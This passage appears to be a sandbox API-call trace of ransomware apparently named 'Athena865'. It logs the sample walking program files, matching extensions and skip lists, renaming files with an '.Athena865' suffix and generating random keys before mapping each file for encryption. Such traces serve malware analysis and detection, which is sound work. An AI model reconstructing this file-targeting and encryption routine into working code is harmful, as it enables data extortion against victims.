(lpString="vhdx") returned 4 [0119.684] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.684] lstrlenW (lpString="avhd") returned 4 [0119.684] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.684] lstrlenW (lpString="db") returned 2 [0119.684] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.684] lstrlenW (lpString="db2") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.684] lstrlenW (lpString="db3") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.684] lstrlenW (lpString="dbf") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.684] lstrlenW (lpString="mdf") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.685] lstrlenW (lpString="mdb") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.685] lstrlenW (lpString="sql") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.685] lstrlenW (lpString="sqlite") returned 6 [0119.685] lstrcmpiW (lpString1="ic.png", lpString2="sqlite") returned -1 [0119.685] lstrlenW (lpString="sqlite3") returned 7 [0119.685] lstrcmpiW (lpString1="hic.png", lpString2="sqlite3") returned -1 [0119.685] lstrlenW (lpString="sqlitedb") returned 8 [0119.685] lstrcmpiW (lpString1="phic.png", lpString2="sqlitedb") returned -1 [0119.685] lstrlenW (lpString="xml") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.685] lstrlenW (lpString="$er") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.685] lstrlenW (lpString="4dd") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.685] lstrlenW (lpString="4dl") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.685] lstrlenW (lpString="^^^") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.685] lstrlenW (lpString="abs") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.685] lstrlenW (lpString="abx") returned 3 [0119.685] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.685] lstrlenW (lpString="accdb") returned 5 [0119.685] lstrcmpiW (lpString1="c.png", lpString2="accdb") returned 1 [0119.686] lstrlenW (lpString="accdc") returned 5 [0119.686] lstrcmpiW (lpString1="c.png", lpString2="accdc") returned 1 [0119.686] lstrlenW (lpString="accde") returned 5 [0119.686] lstrcmpiW (lpString1="c.png", lpString2="accde") returned 1 [0119.686] lstrlenW (lpString="accdr") returned 5 [0119.686] lstrcmpiW (lpString1="c.png", lpString2="accdr") returned 1 [0119.686] lstrlenW (lpString="accdt") returned 5 [0119.686] lstrcmpiW (lpString1="c.png", lpString2="accdt") returned 1 [0119.686] lstrlenW (lpString="accdw") returned 5 [0119.686] lstrcmpiW (lpString1="c.png", lpString2="accdw") returned 1 [0119.686] lstrlenW (lpString="accft") returned 5 [0119.686] lstrcmpiW (lpString1="c.png", lpString2="accft") returned 1 [0119.686] lstrlenW (lpString="adb") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.686] lstrlenW (lpString="adb") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.686] lstrlenW (lpString="ade") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.686] lstrlenW (lpString="adf") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.686] lstrlenW (lpString="adn") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.686] lstrlenW (lpString="adp") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.686] lstrlenW (lpString="alf") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.686] lstrlenW (lpString="ask") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.686] lstrlenW (lpString="btr") returned 3 [0119.686] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.686] lstrlenW (lpString="cat") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.687] lstrlenW (lpString="cdb") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.687] lstrlenW (lpString="ckp") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.687] lstrlenW (lpString="cma") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.687] lstrlenW (lpString="cpd") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.687] lstrlenW (lpString="dacpac") returned 6 [0119.687] lstrcmpiW (lpString1="ic.png", lpString2="dacpac") returned 1 [0119.687] lstrlenW (lpString="dad") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.687] lstrlenW (lpString="dadiagrams") returned 10 [0119.687] lstrcmpiW (lpString1="raphic.png", lpString2="dadiagrams") returned 1 [0119.687] lstrlenW (lpString="daschema") returned 8 [0119.687] lstrcmpiW (lpString1="phic.png", lpString2="daschema") returned 1 [0119.687] lstrlenW (lpString="db-journal") returned 10 [0119.687] lstrcmpiW (lpString1="raphic.png", lpString2="db-journal") returned 1 [0119.687] lstrlenW (lpString="db-shm") returned 6 [0119.687] lstrcmpiW (lpString1="ic.png", lpString2="db-shm") returned 1 [0119.687] lstrlenW (lpString="db-wal") returned 6 [0119.687] lstrcmpiW (lpString1="ic.png", lpString2="db-wal") returned 1 [0119.687] lstrlenW (lpString="dbc") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.687] lstrlenW (lpString="dbs") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.687] lstrlenW (lpString="dbt") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.687] lstrlenW (lpString="dbv") returned 3 [0119.687] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.688] lstrlenW (lpString="dbx") returned 3 [0119.688] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.688] lstrlenW (lpString="dcb") returned 3 [0119.688] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.688] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.Athena865") returned 86 [0119.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.691] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.691] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5088) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.692] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.692] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.693] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.693] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16e0, lpName=0x0) returned 0x17c [0119.696] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16e0) returned 0x100000 [0119.697] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.698] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.698] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.698] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.698] CloseHandle (hObject=0x17c) returned 1 [0119.699] CloseHandle (hObject=0x154) returned 1 [0119.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.699] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="temp") returned -1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="pagefile.sys") returned -1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ids.txt") returned 1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="perflogs") returned -1 [0119.699] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSBuild") returned 1 [0119.699] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0119.699] lstrcpyW (in: lpString1=0x241e8a0, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0119.699] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0119.700] lstrlenW (lpString="Athena865") returned 9 [0119.700] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.700] lstrlenW (lpString=".dll") returned 4 [0119.700] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.700] lstrlenW (lpString=".lnk") returned 4 [0119.700] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.700] lstrlenW (lpString=".ini") returned 4 [0119.700] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.700] lstrlenW (lpString=".sys") returned 4 [0119.700] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.700] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0119.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.Athena865") returned 92 [0119.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.702] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.702] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3130) returned 1 [0119.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.702] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.703] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.703] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.703] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf40, lpName=0x0) returned 0x17c [0119.705] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf40) returned 0x100000 [0119.705] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.706] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.706] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.707] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.707] CloseHandle (hObject=0x17c) returned 1 [0119.707] CloseHandle (hObject=0x154) returned 1 [0119.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.707] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0119.707] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.707] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.707] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="temp") returned -1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="pagefile.sys") returned -1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot") returned 1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ids.txt") returned 1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="perflogs") returned -1 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSBuild") returned 1 [0119.708] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0119.708] lstrcpyW (in: lpString1=0x241e8a0, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0119.708] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0119.708] lstrlenW (lpString="Athena865") returned 9 [0119.708] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.708] lstrlenW (lpString=".dll") returned 4 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".dll") returned 1 [0119.708] lstrlenW (lpString=".lnk") returned 4 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".lnk") returned 1 [0119.708] lstrlenW (lpString=".ini") returned 4 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".ini") returned 1 [0119.708] lstrlenW (lpString=".sys") returned 4 [0119.708] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".sys") returned 1 [0119.708] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0119.708] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.Athena865") returned 87 [0119.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.710] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.710] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5025) returned 1 [0119.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.710] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.711] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.711] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.711] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16b0, lpName=0x0) returned 0x17c [0119.713] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16b0) returned 0x100000 [0119.714] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.715] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.715] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.715] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.715] CloseHandle (hObject=0x17c) returned 1 [0119.715] CloseHandle (hObject=0x154) returned 1 [0119.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.716] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="temp") returned -1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="pagefile.sys") returned -1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ids.txt") returned 1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0119.716] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="perflogs") returned -1 [0119.717] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSBuild") returned 1 [0119.717] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0119.717] lstrcpyW (in: lpString1=0x241e8a0, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0119.717] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0119.717] lstrlenW (lpString="Athena865") returned 9 [0119.717] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") 